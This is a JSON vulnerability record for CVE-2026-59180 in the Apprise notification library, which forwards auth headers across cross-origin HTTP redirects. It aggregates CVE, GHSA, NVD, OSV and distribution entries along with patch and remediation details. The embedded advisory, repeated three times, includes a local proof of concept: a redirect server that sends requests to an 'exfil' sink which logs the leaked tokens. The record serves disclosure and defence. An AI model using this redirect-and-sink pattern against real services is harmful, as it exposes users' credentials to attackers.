{"id":"CVE-2026-59180","aliases":["DEBIAN-CVE-2026-59180","EUVD-2026-42940","GHSA-856c-92hv-3vxx","PYSEC-2026-4200","UBUNTU-CVE-2026-59180","openSUSE-SU-2026:21789-1"],"status":"published","title":"Apprise forwards configured auth headers across cross-origin HTTP redirects","description":"Apprise is an open source library which allows you to send a notification to almost all of the most popular notification services available. Prior to 1.11.0, Apprise HTTP-based notification plugins and HTTP attachment and config loaders in apprise/attachment/http.py and apprise/config/http.py follow HTTP redirects by default and resend user-configured auth headers and query parameters on the redirected request, allowing a compromised trusted destination or on-path attacker to receive secrets such as Authorization headers, bearer tokens, custom headers, and service keys. This issue is fixed in version 1.11.0.","severity":{"version":"3.1","score":3.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00299,"percentile":0.22882,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-200","CWE-601"],"published":"2026-07-10T16:02:15Z","modified":"2026-10-28T02:30:50Z","fixes":[{"ecosystem":"PyPI","package":"apprise","fixed_in":["1.11.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"apprise","fixed_in":["1.11.0-1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 16.0","package":"python-apprise","fixed_in":["1.9.3-bp160.2.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"apprise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.10.0"},{"fixed":"1.11.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"apprise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.10.0-1","1.11.0-1","1.13.0-1","1.2.0-1","1.4.0-1","1.4.0-2","1.4.5-1","1.5.0-1","1.6.0-1","1.7.1-1","1.7.2-1","1.7.4-1","1.7.5-1","1.7.6-1","1.8.0-1","1.8.0-1~bpo11+1","1.8.0-2","1.8.0-3","1.8.1-1","1.9.0-1","1.9.1-1","1.9.2-1","1.9.3-1","1.9.9-1","2.0.0-1"]},{"source":"osv","ecosystem":"Debian:13","package":"apprise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.10.0-1","1.11.0-1","1.13.0-1","1.9.3-1","1.9.9-1","2.0.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"apprise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.11.0-1"}]}],"versions":["1.10.0-1","1.9.3-1","1.9.9-1"]},{"source":"osv","ecosystem":"PyPI","package":"apprise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.11.0"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","0.5.0","0.5.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.7.9","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4","0.9.5.1","0.9.6","0.9.7","0.9.8","0.9.8.1","0.9.8.2","0.9.8.3","0.9.9","1.0.0","1.1.0","1.10.0","1.2.0","1.2.1","1.3.0","1.4.0","1.4.5","1.5.0","1.6.0","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.8.0","1.8.1","1.9.0","1.9.1","1.9.2","1.9.3","1.9.4","1.9.5","1.9.6","1.9.7","1.9.8","1.9.9"]},{"source":"osv","ecosystem":"PyPI","package":"apprise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.11.0"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","0.5.0","0.5.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.7.9","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4","0.9.5.1","0.9.6","0.9.7","0.9.8","0.9.8.1","0.9.8.2","0.9.8.3","0.9.9","1.0.0","1.1.0","1.10.0","1.2.0","1.2.1","1.3.0","1.4.0","1.4.5","1.5.0","1.6.0","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.8.0","1.8.1","1.9.0","1.9.1","1.9.2","1.9.3","1.9.4","1.9.5","1.9.6","1.9.7","1.9.8","1.9.9"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"apprise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.4.5-1","1.6.0-1","1.7.1-1","1.7.2-1","1.7.2-1ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"apprise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.9.3-1"]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-apprise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.3-bp160.2.1"}]}]}],"products":[{"vendor":"caronc","product":"apprise"}],"references":[{"url":"https://github.com/caronc/apprise/security/advisories/GHSA-856c-92hv-3vxx","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/caronc/apprise/pull/1610","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/caronc/apprise/commit/68c0aef218055e4586cf4605fd6b56358f5f462d","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/caronc/apprise/releases/tag/v1.11.0","tags":["x_refsource_MISC","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59180","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-856c-92hv-3vxx","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59180.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-59180","tags":["advisory"]},{"url":"https://github.com/caronc/apprise","tags":["package"]},{"url":"https://pypi.org/project/apprise","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-59180","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59180","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1271342","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59180","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-59180","title":"Apprise forwards configured auth headers across cross-origin HTTP redirects","description":"Apprise is an open source library which allows you to send a notification to almost all of the most popular notification services available. Prior to 1.11.0, Apprise HTTP-based notification plugins and HTTP attachment and config loaders in apprise/attachment/http.py and apprise/config/http.py follow HTTP redirects by default and resend user-configured auth headers and query parameters on the redirected request, allowing a compromised trusted destination or on-path attacker to receive secrets such as Authorization headers, bearer tokens, custom headers, and service keys. This issue is fixed in version 1.11.0.","status":"published","published":"2026-07-10T16:02:15.409Z","modified":"2026-07-10T16:54:32.408Z","cvss":[{"version":"3.1","score":3.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N","level":"low","assessor":"cna"}],"cwes":["CWE-200","CWE-601"],"updated_at":"2026-11-02T14:19:58.944663Z"}],"euvd":[{"id":"EUVD-2026-42940","description":"Apprise is an open source library which allows you to send a notification to almost all of the most popular notification services available. Prior to 1.11.0, Apprise HTTP-based notification plugins and HTTP attachment and config loaders in apprise/attachment/http.py and apprise/config/http.py follow HTTP redirects by default and resend user-configured auth headers and query parameters on the redirected request, allowing a compromised trusted destination or on-path attacker to receive secrets such as Authorization headers, bearer tokens, custom headers, and service keys. This issue is fixed in version 1.11.0.","status":"published","published":"2026-07-10T16:02:15Z","modified":"2026-07-10T16:54:32Z","cvss":[{"version":"3.1","score":3.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N","level":"low"}],"updated_at":"2026-11-02T18:20:02.822464Z"}],"ghsa":[{"id":"GHSA-856c-92hv-3vxx","title":"Apprise forwards configured auth headers across cross-origin HTTP redirects","description":"# Summary\n\nApprise's HTTP-based notification plugins and its HTTP attachment / config loaders (`apprise/attachment/http.py`, `apprise/config/http.py`) follow HTTP 3xx redirects by default and **re-send the user-configured auth headers and query parameters on the redirected request**. If an operator-configured destination is later compromised (service takeover, malicious update), or an attacker holds a MITM position on an unprotected network path, that destination can return a `302 Location:` to an arbitrary host and Apprise forwards the user's secret (`X-Gotify-Key`, `Authorization`, bearer tokens in query, custom `+Header=` values) to that cross-origin host. The attacker does **not** need to control the original Apprise URL — only the response from a destination the operator already trusts.\n\nThis is the application-layer analogue of urllib3 [`GHSA-34jh-p97f-mpxf`](https://github.com/urllib3/urllib3/security/advisories/GHSA-34jh-p97f-mpxf) / `CVE-2026-44431` (\"`Proxy-Authorization` forwarded across cross-origin redirect\").\n\n# Affected versions\n\nAll releases up to and including `v1.10.0` (latest PyPI release as of filing, 2026-04-26). Fixed in v1.11.0 (released 2026-05-29), which includes [PR #1610](https://github.com/caronc/apprise/pull/1610) (merged 2026-05-16, commit 68c0aef218055e4586cf4605fd6b56358f5f462d).\n\n# Details\n\n`apprise/plugins/gotify.py` (pre-fix HEAD, lines 226-244, verbatim):\n\n```python\nheaders = {\n    \"User-Agent\": self.app_id,\n    \"Content-Type\": \"application/json\",\n    \"X-Gotify-Key\": self.token,    # user-supplied secret\n}\n...\nr = requests.post(\n    url,\n    data=dumps(payload),\n    headers=headers,\n    verify=self.verify_certificate,\n    timeout=self.request_timeout,\n    # NO allow_redirects=False -- requests default is True\n)\n```\n\n`requests` follows 3xx redirects by default and re-attaches the `headers=` dict on the redirected request, regardless of origin. The same shape exists across ~50 plugins (`custom_json`, `custom_xml`, `custom_form`, `gotify`, `ntfy`, `mattermost`, `apprise_api`, and most other HTTP-based plugins), plus in `apprise/attachment/http.py` and `apprise/config/http.py`.\n\n## Reproduction (local, safe)\n\n```python\n# attacker_redirector.py -- 127.0.0.1:8081 returns 302 to a cross-origin sink\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_POST(self):\n        self.send_response(302)\n        self.send_header(\"Location\", \"http://127.0.0.1:8082/exfil\")\n        self.end_headers()\nhttp.server.HTTPServer((\"127.0.0.1\", 8081), H).serve_forever()\n```\n\n```python\n# attacker_sink.py -- 127.0.0.1:8082 logs the leaked headers\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_POST(self):\n        print(\"LEAKED HEADERS:\", dict(self.headers))\n        self.send_response(204); self.end_headers()\nhttp.server.HTTPServer((\"127.0.0.1\", 8082), H).serve_forever()\n```\n\n```python\n# victim\nfrom apprise import Apprise\na = Apprise()\na.add(\"gotify://127.0.0.1:8081?token=SECRETTOKEN\")\na.notify(body=\"x\")\n```\n\nObserved on `master` HEAD (2026-05-13): `attacker_sink.py` prints `X-Gotify-Key: SECRETTOKEN` -- the user-supplied token followed the cross-origin redirect.\n\n# Patch\n\nFix landed in [`caronc/apprise#1610`](https://github.com/caronc/apprise/pull/1610) (merged 2026-05-16, commit `68c0aef`):\n\n- Adds `?redirect=yes|no` URL parameter on every plugin URL\n- Adds `AppriseAsset.http_redirects` global default\n- Equivalent flags wired into `apprise/attachment/http.py` and `apprise/config/http.py`\n\nThe default remains `redirects=True` for backwards compatibility -- operators who relay notifications through destinations they don't fully trust should append `?redirect=no` to their Apprise URLs or set `AppriseAsset(http_redirects=False)` globally.\n\nReleased in v1.11.0 (2026-05-29, available on PyPI).\n\nRelated:\n- Documentation: [`caronc/apprise-docs#60`](https://github.com/caronc/apprise-docs/pull/60) (merged 2026-05-16)\n- API counterpart: [`caronc/apprise-api#331`](https://github.com/caronc/apprise-api/pull/331) (merged 2026-05-29; shipped in apprise-api v1.5.1, built on Apprise v1.11.0)\n\n# Remediation\n\nUpgrade to Apprise v1.11.0 or later (`pip install -U apprise`).\n\nThe default remains `redirect=yes` for backwards compatibility, so after upgrading, operators who relay notifications through destinations they don't fully trust should also set `AppriseAsset(http_redirects=False)` globally or append `?redirect=no` to each plugin URL.\n\nIf you cannot upgrade yet, operate Apprise only against fully trusted notification destinations (the maintainer-documented supported model).\n\n# Classification\n\n- **CWE-200** Exposure of Sensitive Information to an Unauthorized Actor -- user's auth tokens / API keys / custom `+Header=` values are forwarded onto the cross-origin redirected request.\n- **CWE-601** URL Redirection to Untrusted Site -- a 3xx response from the initial (operator-configured) target sends the request and its credentials to a host the operator never configured.\n\nCVSS 3.1: `AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N` -\u003e **3.1 LOW**.\n\nAttack requires the operator-configured destination to be compromised or an attacker to be on the network path. Impact is partial confidentiality loss: a single user-supplied secret per redirected request, scoped to that one notification channel. This is intentionally a narrow redirect/header-forwarding hardening issue, not a claim that remote destinations or remote configuration are themselves vulnerabilities.","status":"published","published":"2026-10-14T18:38:05Z","modified":"2026-10-14T18:38:08Z","cvss":[{"version":"3.1","score":3.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N","level":"low"}],"cwes":["CWE-200","CWE-601"],"updated_at":"2026-11-02T14:41:31.175024Z"}],"nvd":[{"id":"CVE-2026-59180","description":"Apprise is an open source library which allows you to send a notification to almost all of the most popular notification services available. Prior to 1.11.0, Apprise HTTP-based notification plugins and HTTP attachment and config loaders in apprise/attachment/http.py and apprise/config/http.py follow HTTP redirects by default and resend user-configured auth headers and query parameters on the redirected request, allowing a compromised trusted destination or on-path attacker to receive secrets such as Authorization headers, bearer tokens, custom headers, and service keys. This issue is fixed in version 1.11.0.","status":"published","published":"2026-07-10T17:17:02.503Z","modified":"2026-10-25T15:10:00.147Z","cvss":[{"version":"3.1","score":3.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N","level":"low","assessor":"secondary"}],"cwes":["CWE-200","CWE-601"],"updated_at":"2026-11-02T14:12:28.771746Z"}],"osv":[{"id":"CVE-2026-59180","title":"Apprise forwards configured auth headers across cross-origin HTTP redirects","description":"Apprise is an open source library which allows you to send a notification to almost all of the most popular notification services available. Prior to 1.11.0, Apprise HTTP-based notification plugins and HTTP attachment and config loaders in apprise/attachment/http.py and apprise/config/http.py follow HTTP redirects by default and resend user-configured auth headers and query parameters on the redirected request, allowing a compromised trusted destination or on-path attacker to receive secrets such as Authorization headers, bearer tokens, custom headers, and service keys. This issue is fixed in version 1.11.0.","status":"published","published":"2026-07-10T16:02:15.409Z","modified":"2026-10-28T02:30:50.103222347Z","cvss":[{"version":"3.1","score":3.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N","level":"low"}],"cwes":["CWE-200","CWE-601"],"updated_at":"2026-11-02T15:45:12.496548Z"},{"id":"DEBIAN-CVE-2026-59180","description":"Apprise is an open source library which allows you to send a notification to almost all of the most popular notification services available. Prior to 1.11.0, Apprise HTTP-based notification plugins and HTTP attachment and config loaders in apprise/attachment/http.py and apprise/config/http.py follow HTTP redirects by default and resend user-configured auth headers and query parameters on the redirected request, allowing a compromised trusted destination or on-path attacker to receive secrets such as Authorization headers, bearer tokens, custom headers, and service keys. This issue is fixed in version 1.11.0.","status":"published","published":"2026-07-10T17:17:02.503Z","modified":"2026-10-26T11:47:28.236029258Z","cvss":[{"version":"3.1","score":3.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N","level":"low"}],"updated_at":"2026-11-02T15:45:57.590991Z"},{"id":"GHSA-856c-92hv-3vxx","title":"Apprise forwards configured auth headers across cross-origin HTTP redirects","description":"# Summary\n\nApprise's HTTP-based notification plugins and its HTTP attachment / config loaders (`apprise/attachment/http.py`, `apprise/config/http.py`) follow HTTP 3xx redirects by default and **re-send the user-configured auth headers and query parameters on the redirected request**. If an operator-configured destination is later compromised (service takeover, malicious update), or an attacker holds a MITM position on an unprotected network path, that destination can return a `302 Location:` to an arbitrary host and Apprise forwards the user's secret (`X-Gotify-Key`, `Authorization`, bearer tokens in query, custom `+Header=` values) to that cross-origin host. The attacker does **not** need to control the original Apprise URL — only the response from a destination the operator already trusts.\n\nThis is the application-layer analogue of urllib3 [`GHSA-34jh-p97f-mpxf`](https://github.com/urllib3/urllib3/security/advisories/GHSA-34jh-p97f-mpxf) / `CVE-2026-44431` (\"`Proxy-Authorization` forwarded across cross-origin redirect\").\n\n# Affected versions\n\nAll releases up to and including `v1.10.0` (latest PyPI release as of filing, 2026-04-26). Fixed in v1.11.0 (released 2026-05-29), which includes [PR #1610](https://github.com/caronc/apprise/pull/1610) (merged 2026-05-16, commit 68c0aef218055e4586cf4605fd6b56358f5f462d).\n\n# Details\n\n`apprise/plugins/gotify.py` (pre-fix HEAD, lines 226-244, verbatim):\n\n```python\nheaders = {\n    \"User-Agent\": self.app_id,\n    \"Content-Type\": \"application/json\",\n    \"X-Gotify-Key\": self.token,    # user-supplied secret\n}\n...\nr = requests.post(\n    url,\n    data=dumps(payload),\n    headers=headers,\n    verify=self.verify_certificate,\n    timeout=self.request_timeout,\n    # NO allow_redirects=False -- requests default is True\n)\n```\n\n`requests` follows 3xx redirects by default and re-attaches the `headers=` dict on the redirected request, regardless of origin. The same shape exists across ~50 plugins (`custom_json`, `custom_xml`, `custom_form`, `gotify`, `ntfy`, `mattermost`, `apprise_api`, and most other HTTP-based plugins), plus in `apprise/attachment/http.py` and `apprise/config/http.py`.\n\n## Reproduction (local, safe)\n\n```python\n# attacker_redirector.py -- 127.0.0.1:8081 returns 302 to a cross-origin sink\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_POST(self):\n        self.send_response(302)\n        self.send_header(\"Location\", \"http://127.0.0.1:8082/exfil\")\n        self.end_headers()\nhttp.server.HTTPServer((\"127.0.0.1\", 8081), H).serve_forever()\n```\n\n```python\n# attacker_sink.py -- 127.0.0.1:8082 logs the leaked headers\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_POST(self):\n        print(\"LEAKED HEADERS:\", dict(self.headers))\n        self.send_response(204); self.end_headers()\nhttp.server.HTTPServer((\"127.0.0.1\", 8082), H).serve_forever()\n```\n\n```python\n# victim\nfrom apprise import Apprise\na = Apprise()\na.add(\"gotify://127.0.0.1:8081?token=SECRETTOKEN\")\na.notify(body=\"x\")\n```\n\nObserved on `master` HEAD (2026-05-13): `attacker_sink.py` prints `X-Gotify-Key: SECRETTOKEN` -- the user-supplied token followed the cross-origin redirect.\n\n# Patch\n\nFix landed in [`caronc/apprise#1610`](https://github.com/caronc/apprise/pull/1610) (merged 2026-05-16, commit `68c0aef`):\n\n- Adds `?redirect=yes|no` URL parameter on every plugin URL\n- Adds `AppriseAsset.http_redirects` global default\n- Equivalent flags wired into `apprise/attachment/http.py` and `apprise/config/http.py`\n\nThe default remains `redirects=True` for backwards compatibility -- operators who relay notifications through destinations they don't fully trust should append `?redirect=no` to their Apprise URLs or set `AppriseAsset(http_redirects=False)` globally.\n\nReleased in v1.11.0 (2026-05-29, available on PyPI).\n\nRelated:\n- Documentation: [`caronc/apprise-docs#60`](https://github.com/caronc/apprise-docs/pull/60) (merged 2026-05-16)\n- API counterpart: [`caronc/apprise-api#331`](https://github.com/caronc/apprise-api/pull/331) (merged 2026-05-29; shipped in apprise-api v1.5.1, built on Apprise v1.11.0)\n\n# Remediation\n\nUpgrade to Apprise v1.11.0 or later (`pip install -U apprise`).\n\nThe default remains `redirect=yes` for backwards compatibility, so after upgrading, operators who relay notifications through destinations they don't fully trust should also set `AppriseAsset(http_redirects=False)` globally or append `?redirect=no` to each plugin URL.\n\nIf you cannot upgrade yet, operate Apprise only against fully trusted notification destinations (the maintainer-documented supported model).\n\n# Classification\n\n- **CWE-200** Exposure of Sensitive Information to an Unauthorized Actor -- user's auth tokens / API keys / custom `+Header=` values are forwarded onto the cross-origin redirected request.\n- **CWE-601** URL Redirection to Untrusted Site -- a 3xx response from the initial (operator-configured) target sends the request and its credentials to a host the operator never configured.\n\nCVSS 3.1: `AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N` -\u003e **3.1 LOW**.\n\nAttack requires the operator-configured destination to be compromised or an attacker to be on the network path. Impact is partial confidentiality loss: a single user-supplied secret per redirected request, scoped to that one notification channel. This is intentionally a narrow redirect/header-forwarding hardening issue, not a claim that remote destinations or remote configuration are themselves vulnerabilities.","status":"published","published":"2026-10-14T18:38:05Z","modified":"2026-10-15T14:56:18.471006803Z","cvss":[{"version":"3.1","score":3.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N","level":"low"}],"cwes":["CWE-200","CWE-601"],"updated_at":"2026-11-02T15:46:41.732368Z"},{"id":"PYSEC-2026-4200","title":"Apprise forwards configured auth headers across cross-origin HTTP redirects","description":"# Summary\n\nApprise's HTTP-based notification plugins and its HTTP attachment / config loaders (`apprise/attachment/http.py`, `apprise/config/http.py`) follow HTTP 3xx redirects by default and **re-send the user-configured auth headers and query parameters on the redirected request**. If an operator-configured destination is later compromised (service takeover, malicious update), or an attacker holds a MITM position on an unprotected network path, that destination can return a `302 Location:` to an arbitrary host and Apprise forwards the user's secret (`X-Gotify-Key`, `Authorization`, bearer tokens in query, custom `+Header=` values) to that cross-origin host. The attacker does **not** need to control the original Apprise URL — only the response from a destination the operator already trusts.\n\nThis is the application-layer analogue of urllib3 [`GHSA-34jh-p97f-mpxf`](https://github.com/urllib3/urllib3/security/advisories/GHSA-34jh-p97f-mpxf) / `CVE-2026-44431` (\"`Proxy-Authorization` forwarded across cross-origin redirect\").\n\n# Affected versions\n\nAll releases up to and including `v1.10.0` (latest PyPI release as of filing, 2026-04-26). Fixed in v1.11.0 (released 2026-05-29), which includes [PR #1610](https://github.com/caronc/apprise/pull/1610) (merged 2026-05-16, commit 68c0aef218055e4586cf4605fd6b56358f5f462d).\n\n# Details\n\n`apprise/plugins/gotify.py` (pre-fix HEAD, lines 226-244, verbatim):\n\n```python\nheaders = {\n    \"User-Agent\": self.app_id,\n    \"Content-Type\": \"application/json\",\n    \"X-Gotify-Key\": self.token,    # user-supplied secret\n}\n...\nr = requests.post(\n    url,\n    data=dumps(payload),\n    headers=headers,\n    verify=self.verify_certificate,\n    timeout=self.request_timeout,\n    # NO allow_redirects=False -- requests default is True\n)\n```\n\n`requests` follows 3xx redirects by default and re-attaches the `headers=` dict on the redirected request, regardless of origin. The same shape exists across ~50 plugins (`custom_json`, `custom_xml`, `custom_form`, `gotify`, `ntfy`, `mattermost`, `apprise_api`, and most other HTTP-based plugins), plus in `apprise/attachment/http.py` and `apprise/config/http.py`.\n\n## Reproduction (local, safe)\n\n```python\n# attacker_redirector.py -- 127.0.0.1:8081 returns 302 to a cross-origin sink\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_POST(self):\n        self.send_response(302)\n        self.send_header(\"Location\", \"http://127.0.0.1:8082/exfil\")\n        self.end_headers()\nhttp.server.HTTPServer((\"127.0.0.1\", 8081), H).serve_forever()\n```\n\n```python\n# attacker_sink.py -- 127.0.0.1:8082 logs the leaked headers\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_POST(self):\n        print(\"LEAKED HEADERS:\", dict(self.headers))\n        self.send_response(204); self.end_headers()\nhttp.server.HTTPServer((\"127.0.0.1\", 8082), H).serve_forever()\n```\n\n```python\n# victim\nfrom apprise import Apprise\na = Apprise()\na.add(\"gotify://127.0.0.1:8081?token=SECRETTOKEN\")\na.notify(body=\"x\")\n```\n\nObserved on `master` HEAD (2026-05-13): `attacker_sink.py` prints `X-Gotify-Key: SECRETTOKEN` -- the user-supplied token followed the cross-origin redirect.\n\n# Patch\n\nFix landed in [`caronc/apprise#1610`](https://github.com/caronc/apprise/pull/1610) (merged 2026-05-16, commit `68c0aef`):\n\n- Adds `?redirect=yes|no` URL parameter on every plugin URL\n- Adds `AppriseAsset.http_redirects` global default\n- Equivalent flags wired into `apprise/attachment/http.py` and `apprise/config/http.py`\n\nThe default remains `redirects=True` for backwards compatibility -- operators who relay notifications through destinations they don't fully trust should append `?redirect=no` to their Apprise URLs or set `AppriseAsset(http_redirects=False)` globally.\n\nReleased in v1.11.0 (2026-05-29, available on PyPI).\n\nRelated:\n- Documentation: [`caronc/apprise-docs#60`](https://github.com/caronc/apprise-docs/pull/60) (merged 2026-05-16)\n- API counterpart: [`caronc/apprise-api#331`](https://github.com/caronc/apprise-api/pull/331) (merged 2026-05-29; shipped in apprise-api v1.5.1, built on Apprise v1.11.0)\n\n# Remediation\n\nUpgrade to Apprise v1.11.0 or later (`pip install -U apprise`).\n\nThe default remains `redirect=yes` for backwards compatibility, so after upgrading, operators who relay notifications through destinations they don't fully trust should also set `AppriseAsset(http_redirects=False)` globally or append `?redirect=no` to each plugin URL.\n\nIf you cannot upgrade yet, operate Apprise only against fully trusted notification destinations (the maintainer-documented supported model).\n\n# Classification\n\n- **CWE-200** Exposure of Sensitive Information to an Unauthorized Actor -- user's auth tokens / API keys / custom `+Header=` values are forwarded onto the cross-origin redirected request.\n- **CWE-601** URL Redirection to Untrusted Site -- a 3xx response from the initial (operator-configured) target sends the request and its credentials to a host the operator never configured.\n\nCVSS 3.1: `AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N` -\u003e **3.1 LOW**.\n\nAttack requires the operator-configured destination to be compromised or an attacker to be on the network path. Impact is partial confidentiality loss: a single user-supplied secret per redirected request, scoped to that one notification channel. This is intentionally a narrow redirect/header-forwarding hardening issue, not a claim that remote destinations or remote configuration are themselves vulnerabilities.","status":"published","published":"2026-10-15T10:22:55.198617Z","modified":"2026-10-15T14:45:07.01459242Z","cvss":[{"version":"3.1","score":3.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N","level":"low"}],"updated_at":"2026-11-02T15:52:57.671918Z"},{"id":"UBUNTU-CVE-2026-59180","description":"Apprise is an open source library which allows you to send a notification to almost all of the most popular notification services available. Prior to 1.11.0, Apprise HTTP-based notification plugins and HTTP attachment and config loaders in apprise/attachment/http.py and apprise/config/http.py follow HTTP redirects by default and resend user-configured auth headers and query parameters on the redirected request, allowing a compromised trusted destination or on-path attacker to receive secrets such as Authorization headers, bearer tokens, custom headers, and service keys. This issue is fixed in version 1.11.0.","status":"published","published":"2026-07-10T17:17:00Z","modified":"2026-07-15T17:53:45Z","cvss":[{"version":"3.1","score":3.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N","level":"low"}],"updated_at":"2026-11-02T16:56:41.911783Z"},{"id":"openSUSE-SU-2026:21789-1","title":"Security update for python-apprise","description":"This update for python-apprise fixes the following issues:\n\nChanges in python-apprise:\n\n- CVE-2026-59180: Information disclosure via HTTP redirect following with\n  credential resending (bsc#1271342)\n","status":"published","published":"2026-09-02T14:49:48Z","modified":"2026-09-09T18:23:15.571183133Z","updated_at":"2026-11-02T16:58:42.426393Z"}]}}
